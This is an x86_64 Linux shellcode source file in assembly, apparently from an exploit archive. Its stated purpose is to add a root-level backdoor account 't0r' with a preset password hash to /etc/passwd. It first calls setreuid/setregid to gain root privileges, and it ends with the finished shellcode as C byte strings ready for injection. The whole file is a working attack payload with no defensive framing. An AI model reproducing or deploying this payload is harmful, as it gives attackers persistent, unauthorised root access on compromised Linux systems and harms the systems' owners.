;sc_adduser01.S
;Arch: x86_64, Linux
;
;Author: 0_o -- null_null
; nu11.nu11 [at] yahoo.com
;Date: 2012-03-05
;
;compile an executable: nasm -f elf64 sc_adduser.S
; ld -o sc_adduser sc_adduser.o
;compile an object: nasm -o sc_adduser_obj sc_adduser.S
;
;Purpose: adds user "t0r" with password "Winner" to /etc/passwd
;executed syscalls: setreuid, setregid, open, write, close, exit
;Result: t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash
;syscall op codes: /usr/include/x86_64-linux-gnu/asm/unistd_64.h
BITS 64
[SECTION .text]
global _start
_start:
;sys_setreuid(uint ruid, uint euid)
xor rax, rax
mov al, 113 ;syscall sys_setreuid
xor rbx, rbx ;arg 1 -- set real uid to root
mov rcx, rbx ;arg 2 -- set effective uid to root
syscall
;sys_setregid(uint rgid, uint egid)
xor rax, rax
mov al, 114 ;syscall sys_setregid
xor rbx, rbx ;arg 1 -- set real uid to root
mov rcx, rbx ;arg 2 -- set effective uid to root
syscall
;push all strings on the stack prior to file operations.
xor rbx, rbx
mov ebx, 0x647773FF
shr rbx, 8
push rbx ;string \00dws
mov rbx, 0x7361702f6374652f
push rbx ;string sap/cte/
mov rbx, 0x0A687361622F6EFF
shr rbx, 8
push rbx ;string \00\nhsab/n
mov rbx, 0x69622F3A746F6F72
push rbx ;string ib/:toor
mov rbx, 0x2F3A3A303A303A67
push rbx ;string /::0:0:g
mov rbx, 0x46556B554B587435
push rbx ;string FUkUKXt5
mov rbx, 0x546755333A723074
push rbx ;string TgU3:r0t
;prelude to doing anything useful...
mov rbx, rsp ;save stack pointer for later use
push rbp ;store base pointer to stack so it can be restored later
mov rbp, rsp ;set base pointer to current stack pointer
;sys_open(char* fname, int flags, int mode)
sub rsp, 16
mov [rbp - 16], rbx ;store pointer to "t0r..../bash"
mov si, 0x0401 ;arg 2 -- flags
mov rdi, rbx
add rdi, 40 ;arg 1 -- pointer to "/etc/passwd"
xor rax, rax
mov al, 2 ;syscall sys_open
syscall
;sys_write(uint fd, char* buf, uint size)
mov [rbp - 4], eax ;arg 1 -- fd is retval of sys_open. save fd to stack for later use.
mov rcx, rbx ;arg 2 -- load rcx with pointer to string "t0r.../bash"
xor rdx, rdx
mov dl, 39 ;arg 3 -- load rdx with size of string "t0r.../bash\00"
mov rsi, rcx ;arg 2 -- move to source index register
mov rdi, rax ;arg 1 -- move to destination index register
xor rax, rax
mov al, 1 ;syscall sys_write
syscall
;sys_close(uint fd)
xor rdi, rdi
mov edi, [rbp - 4] ;arg 1 -- load stored file descriptor to destination index register
xor rax, rax
mov al, 3 ;syscall sys_close
syscall
;sys_exit(int err_code)
xor rax, rax
mov al, 60 ;syscall sys_exit
xor rbx, rbx ;arg 1 -- error code
syscall
;char shellcode[] =
; "\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31"
; "\xc0\xb0\x72\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31\xdb\xbb"
; "\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63"
; "\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a"
; "\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69"
; "\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35"
; "\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33"
; "\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10"
; "\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28"
; "\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31"
; "\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f"
; "\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48"
; "\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";
;
;equivalent code:
;
;char shellcode[] =
; "\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31"
; "\xc0\xb0\x72\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31\xdb\xbb"
; "\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63"
; "\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a"
; "\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69"
; "\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35"
; "\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33"
; "\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10"
; "\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28"
; "\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31"
; "\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f"
; "\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48"
; "\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";
